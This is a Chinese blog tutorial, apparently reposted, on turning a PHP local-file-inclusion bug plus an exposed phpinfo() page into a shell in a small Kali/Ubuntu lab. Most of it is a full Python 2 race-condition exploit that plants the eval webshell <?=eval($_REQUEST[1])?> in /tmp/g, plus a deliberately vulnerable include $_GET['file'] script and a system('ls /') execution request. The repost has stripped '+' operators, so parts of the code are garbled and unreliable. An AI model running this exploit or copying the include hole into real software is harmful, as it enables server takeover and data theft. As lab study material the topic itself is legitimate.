• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

phpinfo包含临时文件Getshell全过程和源码

武飞扬头像
coleak
帮助1

目录

前言

原理

漏洞复现

靶场环境

源码

复现过程


前言

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件,该临时文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

  1.  
    $_FILES['userfile']['name'] 客户端文件的原名称。
  2.  
    $_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"
  3.  
    $_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
  4.  
    $_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
  5.  
    $_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。

原理

过程

1.发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2.phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4.操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6.利用这个时间差,发第二个数据包,即可成功包含临时文件,最终getshell

处理
PHP 对 enctype="multipart/form-data"请求的处理过程如下:
1、请求到达;
2、创建临时文件(通常是/tmp/php[6 个随机字符]),并写入上传文件的内容;
3、调用相应 PHP 脚本进行处理,如校验名称、大小等;
4、删除临时文件。
总结
php post 上传文件产生临时文件,phpinfo读临时文件的路径和名字,本地包含后生成后门

漏洞复现

靶场环境

  • kali(192.168.10.128)
  • Ubuntu(192.168.10.139)

源码

  • upload.html(kali)
  1.  
    <!doctype html>
  2.  
    <html>
  3.  
    <body>
  4.  
    <form action="http://192.168.10.139/06/phpinfo.php" method="POST"
  5.  
    enctype="multipart/form-data">
  6.  
    <h3> Test upload tmp file</h3>
  7.  
    <label for="file">Filename:</label>
  8.  
    <input type="file" name="file"/><br/>
  9.  
    <input type="submit" name="submit" value="Submit" />
  10.  
    </form>
  11.  
    </body>
  12.  
    </html>
  • lfi.php(Ubuntu) 
  1.  
    <?php
  2.  
    include $_GET['file'];
  3.  
    ?>
  • phpinfo.php(Ubuntu)
  1.  
    <?php
  2.  
    phpinfo();
  3.  
    ?>
  • 代码测试
http://ip/06/lfi.php?file=phpinfo.php

学新通

  • py2脚本
  1.  
    #!/usr/bin/python
  2.  
    import sys
  3.  
    import threading
  4.  
    import socket
  5.  
     
  6.  
    def setup(host, port):
  7.  
    TAG="Security Test"
  8.  
    PAYLOAD="""%s\r
  9.  
    <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
  10.  
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
  11.  
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
  12.  
    Content-Type: text/plain\r
  13.  
    \r
  14.  
    %s
  15.  
    -----------------------------7dbff1ded0714--\r""" % PAYLOAD
  16.  
    padding="A" * 5000
  17.  
    REQ1="""POST /06/phpinfo.php?a=""" padding """ HTTP/1.1\r
  18.  
    Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" padding """\r
  19.  
    HTTP_ACCEPT: """ padding """\r
  20.  
    HTTP_USER_AGENT: """ padding """\r
  21.  
    HTTP_ACCEPT_LANGUAGE: """ padding """\r
  22.  
    HTTP_PRAGMA: """ padding """\r
  23.  
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
  24.  
    Content-Length: %s\r
  25.  
    Host: %s\r
  26.  
    \r
  27.  
    %s""" %(len(REQ1_DATA),host,REQ1_DATA)
  28.  
    #modify this to suit the LFI script
  29.  
    LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r
  30.  
    User-Agent: Mozilla/4.0\r
  31.  
    Proxy-Connection: Keep-Alive\r
  32.  
    Host: %s\r
  33.  
    \r
  34.  
    \r
  35.  
    """
  36.  
    return (REQ1, TAG, LFIREQ)
  37.  
     
  38.  
    def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
  39.  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  40.  
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  41.  
     
  42.  
    s.connect((host, port))
  43.  
    s2.connect((host, port))
  44.  
     
  45.  
    s.send(phpinforeq)
  46.  
    d = ""
  47.  
    while len(d) < offset:
  48.  
    d = s.recv(offset)
  49.  
    try:
  50.  
    i = d.index("[tmp_name] =&gt; ")
  51.  
    fn = d[i 17:i 31]
  52.  
    except ValueError:
  53.  
    return None
  54.  
     
  55.  
    s2.send(lfireq % (fn, host))
  56.  
    d = s2.recv(4096)
  57.  
    s.close()
  58.  
    s2.close()
  59.  
     
  60.  
    if d.find(tag) != -1:
  61.  
    return fn
  62.  
     
  63.  
    counter=0
  64.  
    class ThreadWorker(threading.Thread):
  65.  
    def __init__(self, e, l, m, *args):
  66.  
    threading.Thread.__init__(self)
  67.  
    self.event = e
  68.  
    self.lock = l
  69.  
    self.maxattempts = m
  70.  
    self.args = args
  71.  
     
  72.  
    def run(self):
  73.  
    global counter
  74.  
    while not self.event.is_set():
  75.  
    with self.lock:
  76.  
    if counter >= self.maxattempts:
  77.  
    return
  78.  
    counter =1
  79.  
     
  80.  
    try:
  81.  
    x = phpInfoLFI(*self.args)
  82.  
    if self.event.is_set():
  83.  
    break
  84.  
    if x:
  85.  
    print "\nGot it! Shell created in /tmp/g"
  86.  
    self.event.set()
  87.  
     
  88.  
    except socket.error:
  89.  
    return
  90.  
     
  91.  
     
  92.  
    def getOffset(host, port, phpinforeq):
  93.  
    """Gets offset of tmp_name in the php output"""
  94.  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  95.  
    s.connect((host,port))
  96.  
    s.send(phpinforeq)
  97.  
     
  98.  
    d = ""
  99.  
    while True:
  100.  
    i = s.recv(4096)
  101.  
    d =i
  102.  
    if i == "":
  103.  
    break
  104.  
    # detect the final chunk
  105.  
    if i.endswith("0\r\n\r\n"):
  106.  
    break
  107.  
    s.close()
  108.  
    i = d.find("[tmp_name] =&gt; ")
  109.  
    if i == -1:
  110.  
    raise ValueError("No php tmp_name in phpinfo output")
  111.  
     
  112.  
    print "found %s at %i" % (d[i:i 10],i)
  113.  
    # padded up a bit
  114.  
    return i 256
  115.  
     
  116.  
    def main():
  117.  
     
  118.  
    print "LFI With PHPInfo()"
  119.  
    print "-=" * 30
  120.  
     
  121.  
    if len(sys.argv) < 2:
  122.  
    print "Usage: %s host [port] [threads]" % sys.argv[0]
  123.  
    sys.exit(1)
  124.  
     
  125.  
    try:
  126.  
    host = socket.gethostbyname(sys.argv[1])
  127.  
    except socket.error, e:
  128.  
    print "Error with hostname %s: %s" % (sys.argv[1], e)
  129.  
    sys.exit(1)
  130.  
     
  131.  
    port=80
  132.  
    try:
  133.  
    port = int(sys.argv[2])
  134.  
    except IndexError:
  135.  
    pass
  136.  
    except ValueError, e:
  137.  
    print "Error with port %d: %s" % (sys.argv[2], e)
  138.  
    sys.exit(1)
  139.  
     
  140.  
    poolsz=10
  141.  
    try:
  142.  
    poolsz = int(sys.argv[3])
  143.  
    except IndexError:
  144.  
    pass
  145.  
    except ValueError, e:
  146.  
    print "Error with poolsz %d: %s" % (sys.argv[3], e)
  147.  
    sys.exit(1)
  148.  
     
  149.  
    print "Getting initial offset...",
  150.  
    reqphp, tag, reqlfi = setup(host, port)
  151.  
    offset = getOffset(host, port, reqphp)
  152.  
    sys.stdout.flush()
  153.  
     
  154.  
    maxattempts = 1000
  155.  
    e = threading.Event()
  156.  
    l = threading.Lock()
  157.  
     
  158.  
    print "Spawning worker pool (%d)..." % poolsz
  159.  
    sys.stdout.flush()
  160.  
     
  161.  
    tp = []
  162.  
    for i in range(0,poolsz):
  163.  
    tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
  164.  
     
  165.  
    for t in tp:
  166.  
    t.start()
  167.  
    try:
  168.  
    while not e.wait(1):
  169.  
    if e.is_set():
  170.  
    break
  171.  
    with l:
  172.  
    sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
  173.  
    sys.stdout.flush()
  174.  
    if counter >= maxattempts:
  175.  
    break
  176.  
    print
  177.  
    if e.is_set():
  178.  
    print "Woot! \m/"
  179.  
    else:
  180.  
    print ":("
  181.  
    except KeyboardInterrupt:
  182.  
    print "\nTelling threads to shutdown..."
  183.  
    e.set()
  184.  
     
  185.  
    print "Shuttin' down..."
  186.  
    for t in tp:
  187.  
    t.join()
  188.  
     
  189.  
    if __name__=="__main__":
  190.  
    main()
学新通

复现过程

修改py脚本中的PHPinfo和lfi的位置,以及一句话后门的密码,在kali中用pyhton2执行脚本

学新通

python2 lfi.py 192.168.10.139 80

学新通

现在我们查询Ubuntu的/tem目录,发现后门已经生成

学新通

尝试包含

http://ip/06/lfi.php?file=/tmp/g&1=system('ls /');

学新通

蚁剑连接

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgaekhk
系列文章
更多 icon
同类精品
更多 icon
继续加载